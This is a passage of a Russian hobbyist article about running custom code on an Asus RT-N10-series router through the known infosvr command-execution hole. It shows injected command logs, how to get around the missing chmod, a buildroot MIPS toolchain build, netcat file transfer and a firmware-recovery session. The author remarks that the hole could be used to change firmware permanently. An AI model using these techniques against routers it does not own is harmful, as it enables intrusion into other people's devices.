system cmd: 145 cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd;
rund: cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd; > /tmp/syscmd.out
0 9618
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
6 10084
system cmd: 37 rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l
ls: /var/ldd_2-*: No such file or directory
rund: rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l > /tmp/syscmd.out
2 0
084
system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
6 10084
Как известно, в Linux чтобы запустить файл на исполнение надо установить ему соответствующие разрешения. Проблемка в том, что на роутере не оказалось chmod (помните про сильно урезанный busybox?). Но ничего. Это можно обойти:

Profit! Мы только что загрузили на роутер свой исполняемый файл, и он работает! Хотя погодите… А где мы его взяли, файл этот?
Прежде всего нужно узнать архитектуру CPU вашего роутера. Лёгкий путь не даёт всей необходимой информации:
# cat /proc/cpuinfo
system type: RTL8196C
processor: 0
cpu model: 52481
BogoMIPS: 389.12
tlb_entries: 32
mips16 implemented: yes
#
Можно, конечно, даташит поискать и в нём найти эту информацию… А если он недоступен? А если есть разные модификации? Самый верный способ — посмотреть на то, что уже работает.
Придётся как-то достать исполняемый файл с роутера, чтобы проанализировать его с помощью команд file и readelf -h.
Я это сделал так:
Получившийся файл вышел немного больше того, что лежит на роутере (какой-то мусор подмешался). Но ничего: нас интересует только начало файла — ELF Header.
Перекидываем полученный файл на машину с Линуксом. Теперь можно посмотреть заголовок:

Теперь всё ясно: MIPS-1, Big endian.
Вот мой скрипт-памятка (выбирайте конфигуратор по вкусу):
#!/bin/sh
wget http://buildroot.uclibc.org/downloads/buildroot-2014.11.tar.gz
tar zxf buildroot-2014.11.tar.gz
cd buildroot-2014.11
sudo apt-get -y install g++
# curses-based configurators
sudo apt-get -y install libncurses5-dev
make menuconfig # original curses-based configurator
#make nconfig # new curses-based configurator
# Qt-based configurator
#sudo apt-get -y install libqt4-dev
#make xconfig # Qt-based configurator
# GTK-based configurator
#sudo apt-get -y install libgtk2.0-dev libglade2-dev
#make gconfig # GTK-based configurator
make
На шаге make *config настраиваем тулчейн.
По крайней мере, надо настроить целевую архитектуру. Target options ---> Target Architecture и Target Architecture Variant. Тут есть небольшой подвох: вот так сразу в Target Architecture Variant Mips I вы не найдёте. Чтобы он там появился нужно включить опцию Build options ---> Show options and packages that are deprecated or obsolete.
Можно больше ничего не настраивать. А можно ещё много чего настроить: включить поддержку C++ и других языков, статическую компоновку (у меня ничего хорошего с этого не вышло), выбрать компилируемые под целевую архитектуру приложения, апплеты busybox, версии библиотек и т.п.
После настройки выбираем Exit, соглашаемся с сохранением новой конфигурации и… make. Сборка займёт продолжительное время, в зависимости от того, что вы там в настройках понавыбирали (У меня при настройке только архитектуры целевого процессора сборка на VM Ware заняла немногим более полу часа. Замерял так: ttt=`date`; make; echo $ttt; date). Можно параллельно собирать, но не с помощью -jN. Руководство [9] гласит:
You should never use make -jN with Buildroot: top-level parallel make is currently not supported. Instead, use the BR2_JLEVEL option to tell Buildroot to run the compilation of each individual package with make -jN.
Т.е. нужно настраивать параметр Build options ---> Number of jobs to run simultaneously.
Наконец, по прошествии xx минут тулчейн собрался полностью и без ошибок. Можно использовать. GCC для роутера будет по пути ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc (симлинк на mips-buildroot-linux-uclibc-gcc).
Для начала напишем примитивную программку, скомпилируем, зальём на роутер, выставим разрешение на исполнение (трюк, показанный ранее) и запустим:


Теперь можно писать свои программы для роутера, учитывая ограниченность ресурсов и возможности библиотек, которые есть на роутере.
Но вместе с тулчейном собрались и некоторые бинарники на целевую платформу! Лежат они здесь: ./buildroot-2014.11/output/target/ bin | sbin | usr/bin | usr/sbin. Я перепробовал многие из них (в menuconfig настроил сборку множества дополнительных приложений). Те, которые оказались рабочими и показались полезными сохранил отдельно (может когда-то понадобятся).
Рабочими оказались не все. После загрузки на роутер многие отказывались работать по различным причинам:
А если у вас будет ошибка типа Bus error или unexpected word, то скорее всего вы ошиблись с выбором целевой архитектуры (или банально файл повреждён).
Вы, наверное, заметили, что скорость передачи файла через «дыру» в infosvr, мягко говоря, оставляет желать лучшего. Я хотел решить эту проблему написанием TargetSideAgent, который бы весил немного и поднимал полноценное TCP соединение. Уже и немного кода написал, как ВНЕЗАПНО открыл для себя чудо-утилиту netcat! Эта утилита оказалась рабочей среди приложений, собранных buildroot для целевой платформы. Теперь не надо долго мучиться — netcat передаёт файлы на роутер (да и с роутера тоже) почти мгновенно! Для быстрой передачи теперь можно использовать такой подход:
./netcat -vvlp 8888 > recvfile
ncat.exe -vv --send-only 192.168.1.1 8888 < Usefulcpuload
Кстати, если у вас почему-то прервалась передача файла с помощью AsusBinWrite, то её можно возобновить, использовав опцию RESUME:
Теперь скорость приличная и можно легко загружать даже «увесистые» файлы. Но не увлекайтесь. Не забывайте, что /var и /tmp (который на самом деле /var/tmp) — это оперативная память роутера. Если вы полностью её забьёте — роутер перестанет отвечать (или вообще зависнет). В этом случае придётся его перезагрузить вручную. Контролируйте свободную память при помощи free.
Кстати, когда я искал netcat под Windows, то наткнулся на "netcat 21-го века [10]". Он гораздо богаче функционалом, чем обычный netcat. Для нашего случая очень полезной оказалась опция --send-only (разорвать соединение сразу после передачи).
# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
#
# cat /proc/partitions
major minor #blocks name31 0 64 mtdblock0
31 1 3211 mtdblock1
31 2 4032 mtdblock2
#
# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00001000 «boot + cfg»
mtd1: 00322fee 00001000 «root fs»
mtd2: 003f0000 00001000 «linux + root fs»
#
# ls -lF /dev
crw-rw-rw- 1 root root 4, 64 Sep 18 20:22 console
lrwxrwxrwx 1 root root 8 Sep 18 12:05 log -> /tmp/log=
drwxrwxrwx 2 root root 3 Sep 18 12:03 misc/
brw-rw-rw- 1 root root 31, 0 Sep 18 12:05 mtdblock0
brw-rw-rw- 1 root root 31, 1 Sep 18 12:05 mtdblock1
brw-rw-rw- 1 root root 31, 2 Sep 18 12:05 mtdblock2
brw-rw-rw- 1 root root 31, 3 Sep 18 12:05 mtdblock3
crw-rw-rw- 1 root root 1, 3 Sep 18 12:05 null
crw-rw-rw- 1 root root 108, 0 Sep 18 12:05 ppp
crw-rw-rw- 1 root 5 5, 2 Sep 18 12:05 ptmx
drwxrwxrwx 2 root root 3 Sep 18 12:03 pts/
crw-rw-rw- 1 root root 2, 0 Sep 18 20:23 ptyp0
crw-rw-rw- 1 root root 2, 1 Sep 18 12:05 ptyp1
crw-rw-rw- 1 root root 4, 64 Sep 18 12:05 ttyS0
crw-rw-rw- 1 root root 4, 65 Sep 18 12:05 ttyS1
crw-rw-rw- 1 root root 3, 0 Sep 18 20:23 ttyp0
crw-rw-rw- 1 root root 3, 1 Sep 18 12:05 ttyp1
crw-rw-rw- 1 root root 1, 9 Sep 18 12:05 urandom
#
Я как-то неосторожно что-то перенаправил в /dev/mtdblock2. Оно записалось. Роутер работал. Потом, когда я решил его перезагрузить — он не загрузился. Посмотрев, что выдаётся на UART я понял, что всё-таки повредил прошивку. Роутер загрузился в режиме восстановления (именно с этим режимом работает утилита Asus Firmware Restoration).
========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode —
|No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|
—---RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)
no sys signature at 00010000!
Set 8196C PHY Patch OK---Ethernet init Okay!
<RealTek>
<RealTek>ps
Unknown command!
<RealTek>
<RealTek>ls
Unknown command!
<RealTek>
<RealTek>help
— COMMAND MODE HELP — HELP (?): Print this help message
D <Address> <Len>
DB <Address> <Len>
DW <Address> <Len>
EW <Address> <Value1> <Value2>…
EB <Address> <Value1> <Value2>…
CMP: CMP <dst><src><length>
IPCONFIG:<TargetAddress>
AUTOBURN: 0/1
LOADADDR: <Load Address>
J: Jump to <TargetAddress>
FLW <dst_ROM_offset><src_RAM_addr><length_Byte> <SPI cnt#>: Write offset-data to SPI from RAM
<RealTek>
Недолго думая я запустил тот таки Firmware Restoration и восстановил прошивку.
<RealTek>D
File Start: 80500000,length=0**TFTP GET File ASUSSPACELINK1ю©,Size 0 Byte
**filename: 31 13 FFFFFFFE FFFFFFA9 Byte
run ASUSSPACELINK**TFTP Client Upload, File Name: ASUSSPACELINK
**TFTP Client Upload File Size = 278ABC Bytes at 80500000
Success!
<RealTek>
Linux kernel (root-fs) upgrade.
checksum Ok!
burn Addr =0x10000! srcAddr=0x80500000 len =0xcd012####head_offset: 0(0x0), flash_burnAddr: 0x10000, is_firmware: 1
####Start to burn…
…
Flash Write Successed!
<RealTek>
Root filesystem upgrade.
checksum Ok!
burn Addr =0x100000! srcAddr=0x805cd022 len =0x1aba9a####head_offset: 839698(0xcd012), flash_burnAddr: 0xdd012, is_firmware: 1
####Start to burn…
…
Flash Write Successed!
<RealTek>
reboot.......
Сам факт повреждения прошивки в работающем роутере, говорит о том, что используя уязвимость можно менять её. Тогда изменения на роутере будут перманентными, а не только до перезагрузки, как было до сих пор.
Но на исследование этого у меня нет ни времени, ни желания.
AsusDiscover [12] — это единственное, что продолжит работать после установки прошивки с исправленной уязвимостью.
P.S. Это моя первая публикация, поэтому буду рад любым советам и замечаниям как по поводу статьи, так и по поводу программного кода.
P.P.S. Немножко негодования: Хабрахабру стоит добавить к интерфейсу написания статьи защиту от случайной публикации. Как-то я нажал Enter — и сработала кнопка «Опубликовать». Нужно же добавить либо какой-то предохранительный чекбокс, либо переспрашивать перед публикацией, либо давать возможность тут же отозвать отправку на публикацию. Да ещё и большая такая… Можно промахнуться и тыкнуть её вместо «Предпросмотра». Почему так не продумано?
Автор: TishSerg
Источник [13]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vulnerability/85695
Ссылки в тексте:
[1] сюда: http://www.asus.com/ua/Networking/AllProducts/
[2] 192.168.1.1/telnetd.cgi?enable=1: http://192.168.1.1/telnetd.cgi?enable=1
[3] сообщество пытается: https://forum.openwrt.org/viewtopic.php?id=46606
[4] Источник: http://weblance.com.ua/blog/178-oficialnye-i-alternativnye-proshivki-dlya-routera-asus-rt-n10e-i-asus-rt-n10lx.html
[5] раз: http://arstechnica.com/security/2015/01/got-an-asus-router-someone-on-your-network-can-probably-hack-it/
[6] два: https://github.com/jduck/asus-cmd
[7] пользоваться: https://github.com/TishSerg/AsusRouterTools/raw/master/Release/AsusCmd.exe
[8] AsusBinWrite: https://github.com/TishSerg/AsusRouterTools/raw/master/Release/AsusBinWrite.exe
[9] Руководство: http://buildroot.uclibc.org/downloads/manual/manual.html
[10] netcat 21-го века: https://nmap.org/ncat/
[11] репозитории: https://github.com/TishSerg/AsusRouterTools
[12] AsusDiscover: https://github.com/TishSerg/AsusRouterTools/raw/master/Release/AsusDiscover.exe
[13] Источник: http://habrahabr.ru/post/253013/
Нажмите здесь для печати.